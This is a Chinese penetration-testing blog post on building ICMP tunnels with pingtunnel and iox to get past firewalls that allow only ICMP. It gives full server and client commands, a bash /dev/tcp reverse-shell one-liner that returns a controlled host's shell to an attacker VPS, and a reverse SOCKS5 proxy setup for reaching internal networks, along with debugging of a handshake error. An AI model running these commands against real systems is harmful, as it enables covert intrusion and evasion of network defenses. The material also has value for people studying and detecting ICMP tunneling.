【渗透测试】ICMP隧道代理搭建
0x01 前言
两台机器之间,只允许icmp 协议通讯,其他的协议tcp/udp 不允许,那么可以考虑利用icmp 隧道进行穿透。
常见的icmp工具:
1 | icmpsh |
0x02 pingtunnel反弹Shell
pingtunnel地址:https://github.com/esrrhs/pingtunnel
在vps端运行开启server端:
1 | sudo ./pingtunnel -type server -key 123456 |
如果想简洁一些可以指定-noprint 1,界面就没有打印信息。
接着在被控端执行,使其监听本地的5566端口,指定服务端IP为vps,然后将本地端口5566的流量转发到vps的8888 端口,运行之前在vps监听8888端口:
1 | sudo ./pingtunnel -type client -l :5566 -s vps -t vps:8888 -tcp 1 - |
可以看到此时服务端和客户端已经有了流量:
此时在被控端运行反弹shell:
1 | bash -i >& /dev/tcp/127.0.0.1/5566 0>&1 |
vps已经得到被控端的Shell:
0x02 iox+pingtunnel 搭建隧道
iox地址:https://github.com/EddieIvan01/iox
服务端运行命令:
1 | ./pingtunnel -type server -key 123456 //开启pingtunnel 服务端 |
客户端运行命令:
1 | ./pingtunnel -type client -l 127.0.0.1:9999 -s vps -t vps:8898 -sock5 1 -noprint 1 -nolog 1 -key 123456 |
接着配置vps socks5代理:socks5://vps:1080,就可以访问内网地址
这里有一个问题,在隧道搭建时候,客户端提示socks版本不受支持:
1 | [ERROR] [2022-08-08T17:08:40.611698594+08:00] [client.go:715] [github.com/esrrhs/go-engine/src/pingtunnel.(*Client).AcceptSock5Conn] socks handshake: socks version not supported |
将这个报错查了一下,并没有直接的pingtunnel报错,只有shadowsocks的,说是换用socks5,但运行的时候已经指定sock5为1了。
后面又尝试了使用ew,但仍然是这个问题,查了很多博客,命令应该是没错的,但是同样的命令其他博客就可以直接连接,有点蛋疼。
0x03 问题解决
经过尝试,发现问题出现客户端,重新走一遍流程:
server端:
1 | sudo ./pingtunnel -type server -key 123456 //开启pingtunnel 服务端 |
client端:
1 | sudo ./pingtunnel -type client -l 127.0.0.1:9999 -s vps -t vps:8898 -sock5 -1 -nolog 1 -noprint 1 -key 123456 |
等待几十秒之后,如果正常,server端的iox会输出以下信息:
1 | [*] Reverse socks5 server handshake ok from vps:46604 (encrypted: false) |
client端的iox输出:
1 | [*] Remote socks5 handshake ok (encrypted: false) |
此时隧道才算是搭建完毕
然后浏览器配置socks代理,访问内网:
实际测试发现连接速度和访问速度都比较慢。
查看通信流量,可以看到此时访问都是通过本地地址访问:
参考链接
1 | https://mp.weixin.qq.com/s/OCpcRqwEexpWFa-bo-wu4g |